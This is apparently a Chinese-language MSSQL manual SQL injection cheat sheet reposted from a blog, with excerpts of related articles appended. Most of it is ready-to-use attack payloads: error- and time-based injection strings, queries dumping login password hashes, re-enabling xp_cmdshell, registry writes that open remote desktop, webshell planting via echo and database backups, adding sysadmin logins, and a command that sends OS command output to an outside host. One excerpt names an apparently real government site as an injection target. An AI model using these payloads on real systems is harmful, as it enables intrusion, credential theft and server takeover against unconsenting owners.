MSSQL手工注入辅助工具

mssql > 基本环境信息

语句及说明

#数据库版本

SELECT @@version

#主机名,IP地址

SELECT HOST_NAME()

#当前用户

SELECT user_name();

SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

#列出所有用户

SELECT name FROM master..syslogins

#列密码 mssql 2000

SELECT name, password FROM master..sysxlogins  --*

SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins --*

#列密码 mssql 2005

SELECT name, password_hash FROM master.sys.sql_logins --*

SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins --*

注射类型: 普通
适用环境: 常规

备注说明:

1. 语句末尾加 --* 表示需要管理权限才能执行的语句

2. MSSQL 2000 and 2005 Hashes are both SHA1-based

mssql > 列举数据库

语句及说明

#当前库

SELECT DB_NAME()

#列举库

SELECT name FROM master..sysdatabases;

SELECT DB_NAME(N); — 其中N = 0, 1, 2,

注射类型: 普通
适用环境: 常规

备注说明:

默认系统库有以下:

northwind

model

msdb

pubs — sql server 2005 没有此库

tempdb

mssql > 列举表名

语句及说明

#列举表

SELECT name FROM 库名..sysobjects WHERE xtype = ‘U‘;

#根据字段名列表名

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM 库名..sysobjects JOIN 库名..syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U‘ AND syscolumns.name LIKE ‘%字段名%‘

mssql > 列举字段名

语句及说明

#列举当前库中的表的字段

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘表名‘);

#列举master库中的表的字段

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=‘表名‘;

mssql > 单条数据获取

语句及说明

#获取第 NNN 条数据

SELECT TOP 1 name FROM (SELECT TOP NNN name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC

mssql > 权限相关

语句及说明

#判断当前用户权限

SELECT is_srvrolemember(‘sysadmin‘);

SELECT is_srvrolemember(‘dbcreator‘);

SELECT is_srvrolemember(‘bulkadmin‘);

SELECT is_srvrolemember(‘diskadmin‘);

SELECT is_srvrolemember(‘processadmin‘);

SELECT is_srvrolemember(‘serveradmin‘);

SELECT is_srvrolemember(‘setupadmin‘);

SELECT is_srvrolemember(‘securityadmin‘);

#判断某指定用户的权限

SELECT is_srvrolemember(‘sysadmin‘, ‘sa‘);

#判断是否是库权限

and 1=(Select IS_MEMBER(‘db_owner‘))

#判断是否有库读取权限

and 1= (Select HAS_DBACCESS(‘master‘))

#获取具有某个权限的用户名

SELECT name FROM master..syslogins WHERE denylogin = 0;

SELECT name FROM master..syslogins WHERE hasaccess = 1;

SELECT name FROM master..syslogins WHERE isntname = 0;

SELECT name FROM master..syslogins WHERE isntgroup = 0;

SELECT name FROM master..syslogins WHERE sysadmin = 1;

SELECT name FROM master..syslogins WHERE securityadmin = 1;

SELECT name FROM master..syslogins WHERE serveradmin = 1;

SELECT name FROM master..syslogins WHERE setupadmin = 1;

SELECT name FROM master..syslogins WHERE processadmin = 1;

SELECT name FROM master..syslogins WHERE diskadmin = 1;

SELECT name FROM master..syslogins WHERE dbcreator = 1;

SELECT name FROM master..syslogins WHERE bulkadmin = 1;

#当前所拥有的权限

SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE‘); — current database

SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER‘); — current server

SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins‘, ‘OBJECT‘); –permissions on a table

SELECT permission_name FROM master..fn_my_permissions(‘sa‘, ‘USER‘);

注射类型: 普通
适用环境: 常规

备注说明:

/*服务器角色*/

sysadmin

--在 SQL Server 中进行任何活动。该角色的权限跨越所有其它固定服务器角色。

serveradmin

--配置服务器范围的设置。

setupadmin

--添加和删除链接服务器,并执行某些系统存储过程(如 sp_serveroption)。

securityadmin

--管理服务器登录。

processadmin

--管理在 SQL Server 实例中运行的进程。

dbcreator

--创建和改变数据库。

diskadmin

--管理磁盘文件。

bulkadmin

--执行 BULK INSERT 语句。

/*数据库角色*/

public

public 角色

--public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:

--捕获数据库中用户的所有默认权限。

--无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。

--含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。

--无法除去。

db_owner

--进行所有数据库角色的活动,以及数据库中的其它维护和配置活动。

--该角色的权限跨越所有其它固定数据库角色。

db_accessadmin

--在数据库中添加或删除 Windows NT 4.0 或 Windows 2000 组和用户以及 SQL Server 用户。

db_datareader

--查看来自数据库中所有用户表的全部数据。

db_datawriter

--添加、更改或删除来自数据库中所有用户表的数据

db_ddladmin

--添加、修改或除去数据库中的对象(运行所有 DDL)

db_securityadmin

--管理 SQL Server 2000 数据库角色的角色和成员,并管理数据库中的语句和对象权限

db_backupoperator

--有备份数据库的权限

db_denydatareader

--拒绝选择数据库数据的权限

db_denydatawriter

--拒绝更改数据库数据的权限

mssql > 显错注入

语句及说明

#直接与数字比较

id=1 and @@version>0--

id=1 and user>0--

id=1 and db_name()>0--

#将数据转换成整数致报错,可用于爆库名,表名,数据名

id=1 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--

#having 1=1爆数据

id=13 having 1=1 --

id=13 group by 表名.字段名1,字段名2 having 1=1 --

mssql > 延时注入

语句及说明

#延时3秒

IF(ascii(SUBSTRING(‘name‘,1,1))>0) waitfor delay‘0:0:3‘

mssql > 命令执行

语句及说明

#判断功能是否存在

and select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread‘) #注册表

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask‘) #备份

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc‘) #恢复扩展

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs‘) #读取子目录

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree‘) #列目录

#恢复与删除扩展

exec sp_addextendedproc xp_cmdshell,‘xplog70.dll‘

exec sp_dropextendedproc ‘xp_cmdshell‘

#恢复xp_cmdshell

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘show advanced options‘, 0 --

#访问COM组件

;declare @s int;

;exec sp_oacreat ‘wscript.shell‘,@s

;exec master..spoamethod @s,‘run‘,null,‘cmd.exe/c dir c:\

#执行命令

EXEC xp_cmdshell ‘net user‘;

#写注册表

exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,0;--

#读注册表

create table labeng(lala nvarchar(255), id int);

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘,@result output insert into labeng(lala) values(@result); #读网站目录

#写shell

exec master.dbo.xp_cmdshell ‘echo ^<%eval request("o")%^> >E:\wwwroot\1.asp‘; --

#停掉或激活某个服务

exec master..xp_servicecontrol ‘stop‘,‘schedule‘

exec master..xp_servicecontrol ‘start‘,‘schedule‘

#添加、删除、设置用户为DBA的操作

EXEC sp_addlogin ‘user‘, ‘pass‘;

EXEC sp_droplogin ‘user‘;

EXEC master.dbo.sp_addsrvrolemember ‘user‘, ‘sysadmin‘;

#获取DB文件位置信息

EXEC sp_helpdb master; -- master.mdf位置

mssql > 文件读写

语句及说明

#文件读取 (创建临时表,bulk insert读取内容到表)

CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM ‘c:\boot.ini‘;

DROP TABLE mydata;

#文件读取 (创建临时表,insert & xp_cmdshell读取内容)

create table mytmp(data varchar(4000)); --

insert mytmp exec master.dbo.xp_cmdshell ‘ipconfig /all‘; --

#页面无回显时,读取命令执行内容 (需目标机器可连外网) (先写入JS,然后通过执行JS将命令执行内容,通过ajax发送给接收端)

exec master.dbo.xp_cmdshell ‘echo (function(){var ws=new ActiveXObject("WScript.shell"),cmd="cmd.exe /c dir c:\\";var data=ws.exec(cmd).stdout.ReadAll();var ajax=new ActiveXObject("Microsoft.xmlhttp");ajax.open("POST","http://itsokla.duapp.com/cmd.php",false);ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajax.send("cmd="+encodeURIComponent(cmd)+"&data="+encodeURIComponent(encodeURIComponent(data)));})() > c:\e.js‘ --

exec master.dbo.xp_cmdshell ‘wscript c:\e.js‘ --

mssql > 差异备份

语句及说明

#差异备份

1. 将数据库备份一次,路径随便

backup database 库名 to disk = ‘c:\xxxxx.bak‘;--

2. 创建临时表,并写入shell内容

create table [dbo].[dtest] ([cmd] [image]);

insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3. 差异备份,将新增内容,备份至SHELL

backup database 库名 to disk=‘目标位置\d.asp‘ WITH DIFFERENTIAL,FORMAT;--

#log备份

1. 设置数据库恢复模式为FULL

alter database 当前库名 set RECOVERY FULL--

2. 创建临时表

create table cmd (a image)--

3. 备份日志一次

backup log 当前库名 to disk = ‘f:\cmd‘ with init--

4. 在表内插入shell内容

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--

5. 再次备份日志

backup log 当前库名 to disk = ‘备份路径‘--

6. 删除临时表

drop table cmd--

7. 改变数据库恢复模式为SIMPLE

alter database 当前库名 set RECOVERY SIMPLE--

mssql > 判断及字符串相关

语句及说明

#取子字符串

SELECT substring(‘abcd‘, 3, 1) --返回c

#ascii转char

SELECT char(0x41) -- 返回A

SELECT char(65) -- 返回A

#char转ascii

SELECT ascii(‘A‘) -- 返回65

#类型转换

SELECT CAST(‘1‘ as int);

SELECT CAST(1 as char);

CONVERT (数据类型,表达式)

#字符串连接

SELECT ‘A‘ + ‘B‘ – returns AB

#位运算

SELECT 6 & 2 — returns 2

SELECT 6 & 1 — returns 0

#if 判断

IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1

#case 判断

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1

注射类型: 普通
适用环境: 常规

备注说明:

字符串相关函数索引

-------------------------------

ASCII

返回字符表达式最左端字符的 ASCII 代码值

NCHAR

根据 Unicode 标准所进行的定义,用给定整数代码返回 Unicode 字符。

SOUNDEX

返回由四个字符组成的代码 (SOUNDEX) 以评估两个字符串的相似性。

CHAR

将 int ASCII 代码转换为字符的字符串函数。

PATINDEX

返回指定表达式中某模式第一次出现的起始位置;如果在全部有效的文本和字符数据类型中没有找到该模式,则返回零。

SPACE

返回由重复的空格组成的字符串。

CHARINDEX

返回字符串中指定表达式的起始位置。

REPLACE

用第三个表达式替换第一个字符串表达式中出现的所有第二个给定字符串表达式。

STR

由数字数据转换来的字符数据。

DIFFERENCE

以整数返回两个字符表达式的 SOUNDEX 值之差。

QUOTENAME

返回带有分隔符的 Unicode 字符串,分隔符的加入可使输入的字符串成为有效的 Microsoft? SQL Server? 分隔标识符。

STUFF

删除指定长度的字符并在指定的起始点插入另一组字符。

LEFT

返回从字符串左边开始指定个数的字符。

REPLICATE

以指定的次数重复字符表达式。

SUBSTRING

返回字符、binary、text 或 image 表达式的一部分。有关可与该函数一起使用的有效 Microsoft? SQL Server? 数据类型的更多信息,请参见数据类型。

LEN

返回给定字符串表达式的字符(而不是字节)个数,其中不包含尾随空格。

REVERSE

返回字符表达式的反转

UNICODE

按照 Unicode 标准的定义,返回输入表达式的第一个字符的整数值。

LOWER

将大写字符数据转换为小写字符数据后返回字符表达式。

RIGHT

返回字符串中从右边开始指定个数的 integer_expression 字符。

UPPER

返回将小写字符数据转换为大写的字符表达式

LTRIM

删除起始空格后返回字符表达式。

RTRIM

截断所有尾随空格后返回一个字符串。

来自为知笔记(Wiz)

原文地址:https://www.cnblogs.com/t1ny/p/10679217.html

时间: 2024-10-11 07:37:58

MSSQL手工注入辅助工具的相关文章

MSSQL手工注入 报错注入方法

例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1 and @@version>0 原因:@@version是mssql 的全局变量,如果我们把它写成这样 and @@version>0 那个后面的mssql就会强行把@@version 强行转换成数字,但是失败,所以就会将数据库信息暴露出来同样:通过@@SERVERNAME:爆

mssql手工注入

判断注入点: 1.数字型 http://www.targer.com/article.aspx?id=1 http://www.targer.com/article.aspx?id=1' http://www.targer.com/article.aspx?id=1 and 1=1 http://www.targer.com/article.aspx?id=1 and 1=2 2.字符型 http://www.targer.com/article.aspx?action=value' and 1

【运维安全】-MySQL手工注入

为什么要学习手工注入? 工具:sqlmap 万能密码,直接登录到后台页面,不需要密码:admin' or 1=1#,当后台存在注入的话,才能使用注入密码,不是所有的网站进行登录. 当输入admin,admin,在后台的SQL语句是: select * from user where username='$user' and password='pass'; 提交的代码时,语句是: select * from user where username='admin' or 1=1#' and pas

学习笔记 MSSQL显错手工注入

和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败.然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来. 由这个原理衍生出单字段查询.如下: ' and 0=(SELECT top 1 username FROM table) and 'C'='C 然后有衍生出多字段查询.如下:

sql工具和手工注入总结

普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: 盲注: 基于报错的注入(随笔有总结) 延时注入:利用数据库延时特性,sleep(10),没有报错就说明存在注入 或者尝试cookie注入: cookie注入: 穿山甲(有cookie选项) sqlmap使用:sqlmap.py -u "http:www.xx.com/show.asp" --cookie "id=

手工注入基本思路

手工注入 说下我的基本思路:1.目标站点环境为:Windows+Apache+Mysql+PHP2.存在SQL注入,能否直接写一句话木马3.存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell4.获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马 不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯.下面具体来说明下:1.尝试1=1的情况,正确 http://xxx/xxx.php?id=2900 and 1=1 复制代码 2.尝

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

手工注入

...gong.com/about.asp?dd=613' //出错 再来 ...gong.com/about.asp?dd=613 and 1=1 //正常 ...gong.com/about.asp?dd=613 and 1=2//出错 一个注入点 ...gong.com/about.asp?dd=613 order by 1 //正常 ...gong.com/about.asp?dd=613 order by 19 //正常 ...gong.com/about.asp?dd=613 ord

第一次手工注入

第一次手工注入 第一次注入: 看到他们黑站感觉很有意思的样子,于是我也玩了一下午,虽然都是些狠狠狠简单的东西,不过还是记录下来啦. 虽然和我现在做的没啥关系,不过,,,挺好 浏览器的"工具"--"internet选项"--"高级"--"显示友好http错误信息"(里的勾给去掉哦)注明:就是显示页面出错的信息. 2通过在搜索框中输入inurl:asp?id=    (筛选出url中带有asp?id=   字段的所有结果),然后慢